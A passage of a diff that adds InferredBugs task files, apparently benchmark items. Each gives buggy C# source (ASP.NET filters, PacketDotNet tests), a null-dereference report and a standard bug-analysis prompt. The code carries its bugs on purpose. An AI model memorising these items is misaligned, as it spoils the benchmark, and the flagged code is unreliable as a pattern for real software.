+String BaseModel.ExecuteRequest(RestRequest)
+
+### File:
+src/Reddit.NET/Models/BaseModel.cs
+
+### Key:
+BaseModel.cs|ExecuteRequest|NULL_DEREFERENCE
+
+### Node Key:
+c16cc1d2b5bc88a6c7c2310f1d47f089
+
+### Hash:
+489e73cfe91cdd1160d4ca54c236ff0e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2602/instruction.md b/inferredbugs-2602/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0727bf65a519e9c9184d8750403dcace55c06693
--- /dev/null
+++ b/inferredbugs-2602/instruction.md
@@ -0,0 +1,126 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** yc.boilerplate
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.AspNetCore.Mvc;
+using Microsoft.AspNetCore.Mvc.Filters;
+using Microsoft.Extensions.Logging;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using YC.ApplicationService;
+using YC.Common;
+using YC.Common.ShareUtils;
+using YC.Core;
+using YC.Core.HttpExtensions;
+using YC.ServiceWebApi.Result;
+
+namespace YC.ServiceWebApi.Filter
+{
+    public class AOPResultFilterAttribute : ResultFilterAttribute
+    {
+        private readonly ILogger<AOPResultFilterAttribute> logger;
+
+        public AOPResultFilterAttribute(ILoggerFactory loggerFactory=null)
+        {
+            logger = loggerFactory.CreateLogger<AOPResultFilterAttribute>();
+        }
+
+        public override void OnResultExecuted(ResultExecutedContext context)
+        {
+           
+            
+        }
+
+        public override void OnResultExecuting(ResultExecutingContext context)
+        {
+            var obj = context.Result;
+            if (context.Result?.GetType() == typeof(ObjectResult))
+            {
+                try
+                {
+                    var result = (ObjectResult)context.Result;
+
+                    //aop拦截处理 如果不是我们已经定义标准化返回，那么我们需要在外层包一层，如果不是，就直接让他自己按照正常处理返回
+                    if (!(result.Value.GetType().Name.Contains(typeof(ApiResult).Name)|| result.Value.GetType().Name.Contains(typeof(ApiResult<>).Name)))
+                    {
+                     
+                        context.Result= new JsonResult(ApiResult.Result<object>(true, result.Value, "请求成功."));
+                    }
+                   
+                }
+                catch (Exception ex)
+                {
+                    context.Result = obj;
+                    logger.LogError("转换返回JsonResult失败！"+ex.ToString());
+                    throw ex;
+                }
+            }
+           
+        }
+    }
+
+   
+}
+
+
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `result` last assigned on line 40 could be null and is dereferenced at line 43, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void AOPResultFilterAttribute.OnResultExecuting(ResultExecutingContext)
+
+### File:
+src/Backstage/BasicAppLayer/YC.ServiceWebApi/Filter/AOPResultFilterAttribute.cs
+
+### Key:
+AOPResultFilterAttribute.cs|OnResultExecuting|NULL_DEREFERENCE
+
+### Node Key:
+5f6bc9a45b87a0bd98569135266c4d99
+
+### Hash:
+b5edf12857c1348f3d08a8de883d76cc
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2605/instruction.md b/inferredbugs-2605/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9e4dfc617876d90acb6b61537fa9931dcdbd1638
--- /dev/null
+++ b/inferredbugs-2605/instruction.md
@@ -0,0 +1,305 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** yc.boilerplate
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.AspNetCore.Mvc;
+using Microsoft.AspNetCore.Mvc.Filters;
+using Microsoft.Extensions.Logging;
+using YC.ServiceWebApi.Result;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net.Http;
+using System.Threading.Tasks;
+using YC.ApplicationService;
+using Microsoft.AspNetCore.Authorization;
+using YC.DapperFrameWork;
+using YC.Model.SysDbEntity;
+using YC.Core.Autofac;
+using YC.Core.Cache;
+using YC.ApplicationService.ApplicationService.Dto;
+using YC.Core;
+using YC.Common.ShareUtils;
+using YC.Common;
+using YC.Core.HttpExtensions;
+using System.IO;
+using System.Text;
+using YC.ServiceWebApi.Tenant;
+using Microsoft.AspNetCore.Http;
+using System.Diagnostics;
+using YC.ServiceWebApi.Filter.Dto;
+using Newtonsoft.Json;
+using YC.ServiceWebApi.Extensions;
+using YC.ApplicationService.ApplicationService.SysUserAppService.Dto;
+using AutoMapper;
+using YC.ApplicationService.Dto;
+
+namespace YC.ServiceWebApi.Filter
+{
+    public class AOPActionFilterAttribute : ActionFilterAttribute, IDependencyInjectionSupport
+    {
+
+        private ISysUserAppService _sysUserService;
+        private ITenant _tenant;
+        public ICacheManager _cacheManager;
+        public IHttpContextAccessor _httpContextAccessor;
+        public RequestInfoDto _requestInfoDto;
+        private ISysAuditLogAppService _sysAuditLogAppService;
+        public readonly IMapper _mapper;
+        public AOPActionFilterAttribute(ICacheManager cacheManager, ITenant tenant, IHttpContextAccessor httpContextAccessor, ISysUserAppService sysUserService,
+            IMapper mapper, ISysAuditLogAppService sysAuditLogAppService)
+        {
+            _tenant = tenant;
+            _cacheManager = cacheManager;
+            _httpContextAccessor = httpContextAccessor;
+            _requestInfoDto = new RequestInfoDto();
+            _sysUserService = sysUserService;
+            _mapper = mapper;
+            _sysAuditLogAppService = sysAuditLogAppService;
+        }
+
+        public override void OnActionExecuted(ActionExecutedContext context)
+        {
+            if (_requestInfoDto.Key == context.ActionDescriptor.Id)
+            {
+                _requestInfoDto.StopTime = DateTime.Now;
+                _requestInfoDto.ElapsedMilliseconds = Convert.ToInt64((_requestInfoDto.StopTime - _requestInfoDto.StartTime).TotalMilliseconds);
+                var obj = context.Result;
+                 if (obj==null)
+                {
+                    throw new Exception(DefaultConfig.DefaultAppConfigDto.ExceptionKey + "获取context.Result 对象为空！");
+                }
+                 _requestInfoDto.ResponseState = false;
+                 var resultType = context.Result?.GetType();
+                try  
+                {
+
+                    if (resultType.FullName.Equals(typeof(JsonResult).FullName))
+                    {
+                        var result = (JsonResult)obj;
+                        //_requestInfoDto.ResponseData = result.Value == null ? "" : System.Text.Json.JsonSerializer.Serialize(result.Value);
+                        //aop拦截处理 如果不是我们已经定义标准化返回，那么我们需要在外层包一层，如果不是，就直接让他自己按照正常处理返回
+                        if ((result.Value.GetType().Name.Contains(typeof(ApiResult).Name) || result.Value.GetType().Name.Contains(typeof(ApiResult<>).Name)))
+                        {
+                            var State = System.Text.Json.JsonSerializer.Serialize(result.Value).ToJObject().GetValue("State");
+                            _requestInfoDto.ResponseState =Convert.ToBoolean(State);
+                        }
+                    }
+                    if (resultType.FullName.Equals(typeof(ObjectResult).FullName))
+                    {
+                        var result = (ObjectResult)context.Result;
+                        //_requestInfoDto.ResponseData = result.Value == null ? "" : System.Text.Json.JsonSerializer.Serialize(result.Value);
+                        //aop拦截处理 如果不是我们已经定义标准化返回，那么我们需要在外层包一层，如果不是，就直接让他自己按照正常处理返回
+                        if ((result.Value.GetType().Name.Contains(typeof(ApiResult).Name) || result.Value.GetType().Name.Contains(typeof(ApiResult<>).Name)))
+                        {
+                            var State = System.Text.Json.JsonSerializer.Serialize(result.Value).ToJObject().GetValue("State");
+                            _requestInfoDto.ResponseState = Convert.ToBoolean(State);
+                        }
+                    }
+
+              
+                   
+
+                }
+                catch (Exception ex)
+                {
+                    throw new Exception(DefaultConfig.DefaultAppConfigDto.ExceptionKey + "审计日志拦截返回值处理失败！" + ex.ToString());
+                }
+               
+
+                WriteRequestLog(context, _requestInfoDto);
+            }
+
+        }
+
+        public override void OnActionExecuting(ActionExecutingContext context)
+        {
+
+            #region 拦截请求信息
+
+            _requestInfoDto.Key = context.ActionDescriptor.Id;
+            _requestInfoDto.StartTime = DateTime.Now;
+            _requestInfoDto.TenantId = _tenant.TenantId;
+            var requestString = context.ActionArguments?.ToString();
+            string ua = context.HttpContext.Request.Headers["User-Agent"];
+            var client = UAParser.Parser.GetDefault().Parse(ua);
+            var device = client.Device.Family;
+            device = device.ToLower() == "other" ? "" : device;
+            _requestInfoDto.Browser = client.UA.Family;
+            _requestInfoDto.Os = client.OS.Family;
+            _requestInfoDto.Device = device;
+            _requestInfoDto.BrowserInfo = ua;
+            _requestInfoDto.IP = IPUtils.GetIP(context?.HttpContext?.Request);
+            _requestInfoDto.ParamsString = context.ActionArguments?.ToIndentedJson();
+
+            #endregion
+            string[] filterActions = DefaultConfig.FilterUrls;
+            var controllerName = context.RouteData.Values["controller"]?.ToString();//获取当前控制器名称
+            if (filterActions.Any(x => x.Contains(context.HttpContext.Request.Path)))
+            {//可以放行
+                return;
+            }
+
+            #region 1-指定控制器允许通过 只要访问的是集合内的控制器，才允许请求
+            //string[] allowAnonymousStringArray = new string[] { "Values", "Car" };
+
+            //if (!allowAnonymousStringArray.Any(x => x == controllerName))
+            //{
+            //    context.Result = new JsonResult(new ApiResult<string>() { Code = 404, Message = "访问的api不存在或权限不足!", Value = "" });
+            //}
+            string requestPath = context.HttpContext.Request.Path.Value;//  /api/Identity/GetTokenByLogin
+
+            #endregion
+
+            #region 2- token 校验
+            var token = context.HttpContext.Request.Headers["Authorization"];
+
+            if (string.IsNullOrWhiteSpace(token))
+            {
+                context.Result = new JsonResult(new ApiResultDto<string>() { Code = 400, Message = "token 为空!", Value = "" });
+                return;
+            }
+
+            token = token.ToString().Replace("Bearer", "").Trim();
+            UserDto userInfo = new UserDto();
+            if (DefaultConfig.DefaultAppConfigDto.VerifyTokenUniqueness)
+            {//演示系统，该属性不开启，默认不校验唯一性
+                ValidateTokenExtenstions.ValidateToken(token, _httpContextAccessor, _cacheManager);
+            }
+            
+            var payloadDic = TokenContext.GetPayLoad(token);
+            var tokenKey = payloadDic[DefaultConfig.DefaultAppConfigDto.TokenKeyName]?.ToString();//拿到唯一Id
+            userInfo = _cacheManager.Get<UserDto>(string.Format(DefaultConfig.CACHE_TOKEN_USER, tokenKey));
+            _requestInfoDto.User = userInfo;
+
+            #endregion
+
+            #region 3-权限校验
+            //权限校验,如果自定义抛出异常，需要展示给前端看，那么必须 添加DefaultConfig.DefaultAppConfigDto.ExceptionKey ，全局日志校验，就会放通
+            var userRolePermissions = GetUserRolePermissionCache(userInfo.TenantId, userInfo.Id);
+            if (userRolePermissions == null)//如果角色权限获取异常直接抛出
+            {
+                throw new Exception(DefaultConfig.DefaultAppConfigDto.ExceptionKey + "用户角色权限数据获取异常！");
+            }
+            string requestApi = context.HttpContext.Request.Path.Value.Replace("/api/", "");
+            var isAllowedPermission = userRolePermissions.PermissionList.Exists(x => x.Api.Contains(requestApi));
+            string[] isAllowedPaths = new string[] { "Identity/RefreshToken" };
+            if (!isAllowedPermission && !isAllowedPaths.Any(x => x.Contains(requestApi)))
+            {
+                throw new Exception(DefaultConfig.DefaultAppConfigDto.ExceptionKey + "没有对应的访问权限！");
+            }
+            #endregion
+        }
+
+        public void WriteRequestLog(ActionExecutedContext context, RequestInfoDto requestInfo)
+        {
+
+            string sb = "--------------------------------------------------------------------\r\n";
+
+            sb += "请求方基础信息：" + requestInfo.ToIndentedJson() + "\r\n";
+            sb += "请求类型：" + context.HttpContext.Request.Method.ToLower() + "\r\n";
+            sb += "请求Api：" + context.ActionDescriptor.AttributeRouteInfo.Template.ToLower() + "\r\n"; ;
+            sb += "请求参数：" + requestInfo.ParamsString + "\r\n";
+            sb += "请求结果状态：" + requestInfo.ResponseState.ToString() + "\r\n";
+            //sb += "请求返回结果：" + requestInfo.ResponseData + "\r\n";
+            sb += "执行时间：" + requestInfo.ElapsedMilliseconds + "毫秒.\r\n";
+
+            LogUtils.WriteLog(new LogDto() { TypeName = "API接口请求日志", Message = sb });
+
+            var sysAuditLog = _mapper.Map<SysAuditLogAddOrEditDto>(requestInfo);
+            sysAuditLog.CreationTime = DateTime.Now;
+            sysAuditLog.RequestApi = context.ActionDescriptor.AttributeRouteInfo.Template.ToLower();
+            sysAuditLog.RequestMethod = context.HttpContext.Request.Method.ToLower();
+            if (requestInfo.User != null)
+            {
+                sysAuditLog.UserId = requestInfo.User.Id;
+                sysAuditLog.UserAccount = requestInfo.User.Account;
+            }
+            //sysAuditLog.ResponseData = requestInfo.ResponseData;
+            sysAuditLog.ResponseState = requestInfo.ResponseState;
+            _sysAuditLogAppService.CreateSysAuditLog(sysAuditLog);
+        }
+
+        /// <summary>
+        /// 获取缓存中的对应用户的角色权限
+        /// </summary>
+        /// <param name="id"></param>
+        /// <returns></returns>
+        public UserRolePermissionDto GetUserRolePermissionCache(int tenantId, long id)
+        {
+
+            var result = new UserRolePermissionDto();
+
+            string userRolePermissionCacheKey = string.Format(DefaultConfig.CACHE_USER_ROLE_PEMISSION, string.Format("tenantId_{0}_userId_{1}", tenantId, id));
+
+            if (_cacheManager.Exists(userRolePermissionCacheKey))
+            {
+                result = _cacheManager.Get<UserRolePermissionDto>(userRolePermissionCacheKey);
+            }
+            else//直接再查询一次
+            {
+                result = _sysUserService.GetUserRolePermission(id).Data;//查询
+                //再次进行缓存
+                var isSuccessed = _cacheManager.Add(userRolePermissionCacheKey, result, TimeSpan.FromSeconds(DefaultConfig.DefaultAppConfigDto.CacheExpire));
+
+            }
+            return result;
+        }
+    }
+
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`resultType` could be null (last assigned on line 64) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void AOPActionFilterAttribute.OnActionExecuted(ActionExecutedContext)
+
+### File:
+src/Backstage/BasicAppLayer/YC.ServiceWebApi/Filter/AOPActionFilterAttribute.cs
+
+### Key:
+AOPActionFilterAttribute.cs|OnActionExecuted|NULLPTR_DEREFERENCE
+
+### Hash:
+a4808cb835041815d446021f5a425e7e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2633/instruction.md b/inferredbugs-2633/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a8f935d367201b0fcea7403fde14609e01abaa40
--- /dev/null
+++ b/inferredbugs-2633/instruction.md
@@ -0,0 +1,351 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** packetnet
+**Bug ID:** 23
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+This file is part of PacketDotNet
+
+PacketDotNet is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+PacketDotNet is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with PacketDotNet.  If not, see <http://www.gnu.org/licenses/>.
+*/
+/*
+ *  Copyright 2010 Chris Morgan <chmorgan@gmail.com>
+ */
+
+using NUnit.Framework;
+using PacketDotNet;
+using PacketDotNet.Ieee80211;
+using SharpPcap.LibPcap;
+
+namespace Test.PacketType.Ieee80211
+{
+    [TestFixture]
+    public class PerPacketInformationTest
+    {
+        [Test]
+        public void AddUnknownField()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_multiplefields.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+
+            var unknownField = new PpiUnknown(99, new byte[] { 0xAA, 0xBB, 0xCC, 0xDD });
+            p.Add(unknownField);
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, p.Bytes) as PpiPacket;
+
+            Assert.IsTrue(recreatedPacket.Contains(PpiFieldType.PpiCommon));
+            Assert.IsTrue(recreatedPacket.Contains(PpiFieldType.PpiMacPhy));
+            Assert.IsTrue(recreatedPacket.Contains((PpiFieldType) 99));
+            var recreatedUnknownField = recreatedPacket.FindFirstByType((PpiFieldType) 99) as PpiUnknown;
+            Assert.AreEqual(new byte[] { 0xAA, 0xBB, 0xCC, 0xDD }, recreatedUnknownField.UnknownBytes);
+
+            var macFrame = recreatedPacket.PayloadPacket as MacFrame;
+            Assert.IsNotNull(macFrame);
+            Assert.IsTrue(macFrame.FcsValid);
+        }
+
+        [Test]
+        public void ConstructPacketWithMultipleAlignedFields()
+        {
+            var packet = new PpiPacket();
+            packet.Flags |= PpiPacket.HeaderFlags.Alignment32Bit;
+
+            var commonField = new PpiCommon { ChannelFrequency = 2142, AntennaSignalPower = 50, AntennaSignalNoise = 25 };
+            packet.Add(commonField);
+
+            Assert.AreEqual(32, packet.Length);
+
+            var processInfoField = new PpiProcessInfo { UserId = 0x1111, UserName = "Hester the tester", GroupId = 0x2222, GroupName = "Test Group" };
+            packet.Add(processInfoField);
+
+            Assert.AreEqual(84, packet.Length);
+
+            var aggregationField = new PpiAggregation(0x3333);
+            packet.Add(aggregationField);
+
+            Assert.AreEqual(92, packet.Length);
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, packet.Bytes) as PpiPacket;
+
+            var recreatedCommonField = recreatedPacket[0] as PpiCommon;
+            Assert.IsNotNull(recreatedCommonField);
+            Assert.AreEqual(2142, recreatedCommonField.ChannelFrequency);
+            Assert.AreEqual(50, recreatedCommonField.AntennaSignalPower);
+            Assert.AreEqual(25, recreatedCommonField.AntennaSignalNoise);
+
+            var recreatedProcessField = recreatedPacket[1] as PpiProcessInfo;
+            Assert.IsNotNull(recreatedProcessField);
+            Assert.AreEqual(0x1111, recreatedProcessField.UserId);
+            Assert.AreEqual("Hester the tester", recreatedProcessField.UserName);
+            Assert.AreEqual(0x2222, recreatedProcessField.GroupId);
+            Assert.AreEqual("Test Group", recreatedProcessField.GroupName);
+
+            var recreatedAggregationField = recreatedPacket[2] as PpiAggregation;
+
+            Assert.IsNotNull(recreatedAggregationField);
+            Assert.AreEqual(0x3333, recreatedAggregationField.InterfaceId);
+        }
+
+        [Test]
+        public void ConstructPacketWithMultipleFields()
+        {
+            var packet = new PpiPacket();
+
+            var commonField = new PpiCommon { ChannelFrequency = 2142, AntennaSignalPower = 50, AntennaSignalNoise = 25 };
+            packet.Add(commonField);
+
+            Assert.AreEqual(32, packet.Length);
+
+            var processInfoField = new PpiProcessInfo { UserId = 0x1111, UserName = "Hester the tester", GroupId = 0x2222, GroupName = "Test Group" };
+            packet.Add(processInfoField);
+
+            Assert.AreEqual(82, packet.Length);
+
+            var aggregationField = new PpiAggregation(0x3333);
+            packet.Add(aggregationField);
+
+            Assert.AreEqual(90, packet.Length);
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, packet.Bytes) as PpiPacket;
+
+            var recreatedCommonField = recreatedPacket[0] as PpiCommon;
+            Assert.IsNotNull(recreatedCommonField);
+            Assert.AreEqual(2142, recreatedCommonField.ChannelFrequency);
+            Assert.AreEqual(50, recreatedCommonField.AntennaSignalPower);
+            Assert.AreEqual(25, recreatedCommonField.AntennaSignalNoise);
+
+            var recreatedProcessField = recreatedPacket[1] as PpiProcessInfo;
+            Assert.IsNotNull(recreatedProcessField);
+            Assert.AreEqual(0x1111, recreatedProcessField.UserId);
+            Assert.AreEqual("Hester the tester", recreatedProcessField.UserName);
+            Assert.AreEqual(0x2222, recreatedProcessField.GroupId);
+            Assert.AreEqual("Test Group", recreatedProcessField.GroupName);
+
+            var recreatedAggregationField = recreatedPacket[2] as PpiAggregation;
+
+            Assert.IsNotNull(recreatedAggregationField);
+            Assert.AreEqual(0x3333, recreatedAggregationField.InterfaceId);
+        }
+
+        [Test]
+        public void ConstructPacketWithNoFields()
+        {
+            var packet = new PpiPacket();
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, packet.Bytes) as PpiPacket;
+
+            Assert.AreEqual(0, recreatedPacket.Version);
+            Assert.IsFalse((recreatedPacket.Flags & PpiPacket.HeaderFlags.Alignment32Bit) == PpiPacket.HeaderFlags.Alignment32Bit);
+        }
+
+        [Test]
+        public void ContainsField()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_multiplefields.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+            Assert.IsTrue(p.Contains(PpiFieldType.PpiCommon));
+            Assert.IsTrue(p.Contains(PpiFieldType.PpiMacPhy));
+            Assert.IsFalse(p.Contains(PpiFieldType.PpiProcessInfo));
+        }
+
+        /// <summary>
+        /// Test that parsing an ip packet yields the proper field values
+        /// </summary>
+        [Test]
+        public void ReadingPacketsFromFile()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_per_packet_information.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+
+            Assert.IsNotNull(p);
+            Assert.AreEqual(0, p.Version);
+            Assert.AreEqual(32, p.Length);
+            Assert.AreEqual(1, p.Count);
+
+            var commonField = p.FindFirstByType(PpiFieldType.PpiCommon) as PpiCommon;
+
+            Assert.AreEqual(PpiFieldType.PpiCommon, commonField.FieldType);
+            Assert.AreEqual(0, commonField.TSFTimer);
+            Assert.IsTrue((commonField.Flags & PpiCommon.CommonFlags.FcsIncludedInFrame) == PpiCommon.CommonFlags.FcsIncludedInFrame);
+            Assert.AreEqual(2, commonField.Rate);
+            Assert.AreEqual(2437, commonField.ChannelFrequency);
+            Assert.AreEqual(0x00A0, (int) commonField.ChannelFlags);
+            Assert.AreEqual(0, commonField.FhssHopset);
+            Assert.AreEqual(0, commonField.FhssPattern);
+            Assert.AreEqual(-84, commonField.AntennaSignalPower);
+            Assert.AreEqual(-100, commonField.AntennaSignalNoise);
+
+            var macFrame = p.PayloadPacket as MacFrame;
+            Assert.AreEqual(FrameControlField.FrameSubTypes.ControlCts, macFrame.FrameControl.SubType);
+            Assert.IsTrue(macFrame.AppendFcs);
+        }
+
+        [Test]
+        public void ReadPacketWithInvalidFcs()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_fcs_present_and_invalid.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+
+            //The packet is corrupted in such a way that the type field has been changed
+            //to a reserved/unused type. Therefore we don't expect there to be a packet
+            Assert.IsNull(p.PayloadPacket);
+            Assert.IsNotNull(p.PayloadData);
+        }
+
+        [Test]
+        public void ReadPacketWithNoFcs()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_without_fcs.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+            Assert.IsNotNull(p.PayloadPacket);
+            var macFrame = p.PayloadPacket as MacFrame;
+            Assert.IsFalse(macFrame.FcsValid);
+            Assert.IsFalse(macFrame.AppendFcs);
+        }
+
+        [Test]
+        public void ReadPacketWithValidFcs()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_fcs_present_and_valid.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+            Assert.IsNotNull(p.PayloadPacket);
+            var macFrame = p.PayloadPacket as MacFrame;
+            Assert.IsTrue(macFrame.FcsValid);
+            Assert.IsTrue(macFrame.AppendFcs);
+        }
+
+        [Test]
+        public void RemoveField()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_multiplefields.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+            var expectedLength = p.Length - p[1].Length - PpiHeaderFields.FieldHeaderLength;
+            p.Remove(p[1]);
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, p.Bytes) as PpiPacket;
+            Assert.AreEqual(expectedLength, recreatedPacket.Length);
+            Assert.IsTrue(recreatedPacket.Contains(PpiFieldType.PpiCommon));
+            Assert.IsFalse(recreatedPacket.Contains(PpiFieldType.PpiMacPhy));
+
+            var macFrame = recreatedPacket.PayloadPacket as MacFrame;
+            Assert.IsNotNull(macFrame);
+            Assert.IsTrue(macFrame.FcsValid);
+        }
+
+        [Test]
+        public void RemoveFieldByType()
+        {
+            var dev = new CaptureFileReaderDevice("../../CaptureFiles/80211_ppi_multiplefields.pcap");
+            dev.Open();
+            var rawCapture = dev.GetNextPacket();
+            dev.Close();
+
+            var p = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as PpiPacket;
+            p.RemoveAll(PpiFieldType.PpiMacPhy);
+
+            var recreatedPacket = Packet.ParsePacket(LinkLayers.Ppi, p.Bytes) as PpiPacket;
+
+            Assert.IsTrue(recreatedPacket.Contains(PpiFieldType.PpiCommon));
+            Assert.IsFalse(recreatedPacket.Contains(PpiFieldType.PpiMacPhy));
+
+            var macFrame = recreatedPacket.PayloadPacket as MacFrame;
+            Assert.IsNotNull(macFrame);
+            Assert.IsTrue(macFrame.FcsValid);
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `p` last assigned on line 258 could be null and is dereferenced at line 259, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PerPacketInformationTest.RemoveField()
+
+### File:
+Test/PacketType/Ieee80211/PerPacketInformationTest.cs
+
+### Key:
+PerPacketInformationTest.cs|RemoveField|NULL_DEREFERENCE
+
+### Node Key:
+0a2f2289efc1b4f27401d167fdf3ab36
+
+### Hash:
+51ab04efab62d8f7a12c0546366b6691
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2634/instruction.md b/inferredbugs-2634/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..202635850c7e7eb5c5010f46b0c49c8fef1fbabb
--- /dev/null
+++ b/inferredbugs-2634/instruction.md
@@ -0,0 +1,130 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** packetnet
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+This file is part of PacketDotNet
+
+PacketDotNet is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+PacketDotNet is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with PacketDotNet.  If not, see <http://www.gnu.org/licenses/>.
+*/
+/*
+ *  Copyright 2010 Chris Morgan <chmorgan@gmail.com>
+ */
+
+using System;
+using NUnit.Framework;
+using SharpPcap.LibPcap;
+using PacketDotNet;
+using PacketDotNet.Ieee80211;
+
